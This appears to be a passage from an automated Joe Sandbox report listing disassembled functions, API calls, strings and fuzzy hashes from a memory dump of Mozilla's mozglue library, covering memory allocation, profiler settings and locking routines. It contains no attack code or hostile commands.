Instruction Fuzzy Hash: FA219271A042199FDF04DF69D885ADA77F5EF88308F04403DE809A7341DB70AA58CFA2

Function 6C490D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C453DEF), ref: 6C490D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C453DEF), ref: 6C490D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C453DEF), ref: 6C490DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C490D97, 6C490DBE
<jemalloc>, xrefs: 6C490D92, 6C490DB9

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 094fe3fabfb8acd2cca36d8346928c1bec1543b9f6fde9d213837283b8b1ebf7
Instruction ID: f78e87f11c1233264a1ee1ff149ceb96005daa3230d930e932d4ffd5ad07eb5a
Opcode Fuzzy Hash: 094fe3fabfb8acd2cca36d8346928c1bec1543b9f6fde9d213837283b8b1ebf7
Instruction Fuzzy Hash: 97F0E9313C03A423E620F2660C1AF5A6F5EA7C6B75F314139F644DAAC0DA50F40146A5

Function 6C4B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C4B586C
CloseHandle.KERNEL32 ref: 6C4B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C4B58C9
free.MOZGLUE(00000000), ref: 6C4B58D3

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 00c6cfb322b34080f7d377f2285cfe183330b3e6b9cced7956738dbf73b44be4
Instruction ID: db01ecd8538ae8926be60889fa7177ebad8db133c3a1ae9477a45b9f809b3725
Opcode Fuzzy Hash: 00c6cfb322b34080f7d377f2285cfe183330b3e6b9cced7956738dbf73b44be4
Instruction Fuzzy Hash: 27014F717262019BEF11FF16D818E06BBB9EB83339724423AE419D6611D731B924CF91

Function 6C4A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C4A75C4,?), ref: 6C4A762B

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C4A74D7,6C4B15FC,?,?,?), ref: 6C4A7644
GetCurrentThreadId.KERNEL32 ref: 6C4A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C4A74D7,6C4B15FC,?,?,?), ref: 6C4A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C4A74D7,6C4B15FC,?,?,?), ref: 6C4A7677

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 067b7396d8848b3a0a3ffea361753fc637d2d09c40ee07bddfb64c7430aa0b2b
Instruction ID: 6c8d7780080aba536697c872676c53fa06c61b8cc303d047a992532c87f4c7cb
Opcode Fuzzy Hash: 067b7396d8848b3a0a3ffea361753fc637d2d09c40ee07bddfb64c7430aa0b2b
Instruction Fuzzy Hash: DAF0C271E10786ABD700EF22C888A76B778FFEA259F21431AF90443601E7B0B5D08BD0

Function 6C4B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4B1800

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

Part of subcall function 6C454290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C493EBD,6C493EBD,00000000), ref: 6C4542A9

Strings

name, xrefs: 6C4B1939
Details, xrefs: 6C4B1925
{marker.name} - {marker.data.name}, xrefs: 6C4B18C7

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: bb010763cfabe9332081033d585a41adb7980724f4011bbc3fc1bd2ef1e8b150
Instruction ID: c706982def4122b78b45f4a9f9969b043c9f10bc5d23179ef1993a0ac1a0f42b
Opcode Fuzzy Hash: bb010763cfabe9332081033d585a41adb7980724f4011bbc3fc1bd2ef1e8b150
Instruction Fuzzy Hash: 8771E1B0A002469FDB04EF28D490E9ABBB1FF45354F44466DE8155BB41DB70F6A8CBE2

Function 6C47D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

EnterCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D4F2
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D50B

Part of subcall function 6C45CFE0: EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C45CFF6
Part of subcall function 6C45CFE0: LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C45D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D52E
EnterCriticalSection.KERNEL32(6C4DE7DC), ref: 6C47D690
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D751

Strings

MOZ_CRASH(), xrefs: 6C47D4BB

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: e8ca89823e73015aef9142c46bdcceff010bb3afea99d815641e9f9e94879f7a
Instruction ID: b30f93ea333e0ad373e6f6c8fb769b695af9a4d8a5c4b6eb2937a52db7704c19
Opcode Fuzzy Hash: e8ca89823e73015aef9142c46bdcceff010bb3afea99d815641e9f9e94879f7a
Instruction Fuzzy Hash: 1F51D171A047018FD364EF28C194F5ABBE1EF89714F558A2EE599C7B84D770E840CBA2

Function 6C4A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4A4721

Strings

., xrefs: 6C4A476A
profiler-paused, xrefs: 6C4A46E4
-%llu, xrefs: 6C4A4733

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: c66ee0dd6b1e7ebace2e845183c2c1424c64402498f8d8563aee6b55d327fe2e
Instruction ID: e193e2d409fe0349487f421249f60cf2cda5a2b52d583308ec6371b2da0ab815
Opcode Fuzzy Hash: c66ee0dd6b1e7ebace2e845183c2c1424c64402498f8d8563aee6b55d327fe2e
Instruction Fuzzy Hash: 3D419875E046089BCB08EFB8E841D5EBBF5EF95384F10962EE8055BB55EB3098018782

Function 6C4A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4A4721

Part of subcall function 6C454410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C493EBD,00000017,?,00000000,?,6C493EBD,?,?,6C4542D2), ref: 6C454444

Strings

., xrefs: 6C4A476A
profiler-paused, xrefs: 6C4A46E4
-%llu, xrefs: 6C4A4733

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: e4520610b5898f47467b6d415d5cddc598de8dc79b6e75f7b3dc234b67e75d2a
Instruction ID: 51a1a64d14690088447a96a743c9e0d3c127741d9646d8cc40160e0d34b86971
Opcode Fuzzy Hash: e4520610b5898f47467b6d415d5cddc598de8dc79b6e75f7b3dc234b67e75d2a
Instruction Fuzzy Hash: 4C317C75F012084BCB0CDFACD891E9DBBE6DB98314F55913EE8059BB45EB70D9058B90

Function 6C4AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C454290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C493EBD,6C493EBD,00000000), ref: 6C4542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C4AB127), ref: 6C4AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C4AB4E4

Strings

pid:, xrefs: 6C4AB4DE

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4382cb065dc20437e604f0fe764ae8ebc38bf4e270a288dc7df285527ce23e17
Instruction ID: bdd58137d6cb98c81c5798da916c5038d063e75d25a58d37961fbed72d8e0e80
Opcode Fuzzy Hash: 4382cb065dc20437e604f0fe764ae8ebc38bf4e270a288dc7df285527ce23e17
Instruction Fuzzy Hash: 0131F231A012189FDB10EFE9D880EEEB7B5BF19319F54052DE81167B85D732A846CBE1

Function 6C46BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C4B7A3F), ref: 6C46BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C4B7A3F), ref: 6C46BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C4B7A3F), ref: 6C46BF7E

Strings

Ll, xrefs: 6C46BF84

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Ll
API String ID: 4279176481-2360732270
Opcode ID: 255683dbd739afc1e9436cea5b7a46c2233aadab9df126d4a15e2d94c410a8b1
Instruction ID: f5c0ec1b2232e85ce744089c65f5d5349db08a7b5d8e6d6351bd0900b6f9afeb
Opcode Fuzzy Hash: 255683dbd739afc1e9436cea5b7a46c2233aadab9df126d4a15e2d94c410a8b1
Instruction Fuzzy Hash: 9411BCB93006048FC729DF0CD599D26FBF8FB59304355885DEA8A8BB60C732B800CB91

Function 6C49E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C49E577
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49E584
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C49E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C49E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C49E826, 6C49E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C49E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C49E722, 6C49E750, 6C49E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C49E5A1, 6C49E5CC, 6C49E5FF, 6C49E62A

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: efe8b0a17fc23eaf31b04e65bee64e963db10ff95be9ba57130ef599a670c595
Instruction ID: 266cdeb963fb63800c8eb7c34fb15d598b9c25f5d30f47bbf12c32073c830004
Opcode Fuzzy Hash: efe8b0a17fc23eaf31b04e65bee64e963db10ff95be9ba57130ef599a670c595
Instruction Fuzzy Hash: 3211AD31A05298EFDB10FF54C888F6ABBB4FB8932AF060619E84547750C770B804CBD1

Function 6C4A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4A0CD5

Part of subcall function 6C48F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C48F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4A0D40
free.MOZGLUE ref: 6C4A0DCB

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

free.MOZGLUE ref: 6C4A0DDD
free.MOZGLUE ref: 6C4A0DF2

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 3c330f9bd593ec5418e5cf55a443d1f3c7d63962d0a53851939ab44d8e0bc790
Instruction ID: dc02945fbfe2342f6d4b9e7bd26bb9d338d7de0c38ab8d878d1932cb9d337354
Opcode Fuzzy Hash: 3c330f9bd593ec5418e5cf55a443d1f3c7d63962d0a53851939ab44d8e0bc790
Instruction Fuzzy Hash: 42415875A097808BD320DF29C080F9AFBE1BFD8714F518A2EE8D987750D770A446CB82

Function 6C490800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE7DC), ref: 6C490838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C49084C
EnterCriticalSection.KERNEL32(?), ref: 6C4908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C4908BD
LeaveCriticalSection.KERNEL32(6C4DE7DC), ref: 6C4908D5

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 149da546184d062583119881ee99dd1ed371f3797938d38763eb7a3d9ddf8797
Instruction ID: 9e5c604216d3fb777193ceb64fa51d6a5841a94571eb07646b94165efd63719f
Opcode Fuzzy Hash: 149da546184d062583119881ee99dd1ed371f3797938d38763eb7a3d9ddf8797
Instruction Fuzzy Hash: C021BE31B0125A9BEF04EF65D884FAEBBB9AF49709F50052CD909A7B40DB31A804CBD0

Function 6C461720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4618EE
free.MOZGLUE(?), ref: 6C461911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C46194C

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4c8659751846e558c0f212dd5dc1d69d3bbb3e289dec8b0bf1033260d3115c5d
Instruction ID: 06446ebef420962e4058a95f46e896c4415fb83210e6ccc3a2c9ea552b06f01a
Opcode Fuzzy Hash: 4c8659751846e558c0f212dd5dc1d69d3bbb3e289dec8b0bf1033260d3115c5d
Instruction Fuzzy Hash: 90819174A112059FCB08CF69D894DAEBBB1FF89314F04452DE811ABB58D730E959CBA1

Function 6C475C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C475D40
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C475D67
__aulldiv.LIBCMT ref: 6C475DB4
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C475DED

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: b97fe0bc26e3cd9ef1ca21463c5e7e181cd2b7c0b10fa7c624afee9284a9ea46
Instruction ID: 025523aa49d4169a4487f8c746216b58c92c1063d9a259a22adc46c3f7a46bc6
Opcode Fuzzy Hash: b97fe0bc26e3cd9ef1ca21463c5e7e181cd2b7c0b10fa7c624afee9284a9ea46
Instruction Fuzzy Hash: D2517E71E011198FDF18EFA8C994EAEBBB2FB89304F19861DD811A7B50C7707946CB90

Function 6C45CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C45CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C45CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C45CF4E

Strings

0, xrefs: 6C45CF30

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: a05ae5d5f1e0df9c078a0c89a13a388a5a1e086a86fb9c85884b59ae45799525
Instruction ID: eb07300902fd99a17ec3461273daf886cc17e74e5691d0d7c16478ad6df334a2
Opcode Fuzzy Hash: a05ae5d5f1e0df9c078a0c89a13a388a5a1e086a86fb9c85884b59ae45799525
Instruction Fuzzy Hash: 3151F176A002568FCB00CF18C890EAABBB5EF99304F19859DD8595F792D731ED16CBE0

Function 6C4B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C4B7829

Part of subcall function 6C48CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4531A7), ref: 6C48CC45
Part of subcall function 6C48CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4531A7), ref: 6C48CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C4B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C4B78CF

Part of subcall function 6C454DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C454E5A
Part of subcall function 6C454DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C454E97

Part of subcall function 6C454290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C493EBD,6C493EBD,00000000), ref: 6C4542A9

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

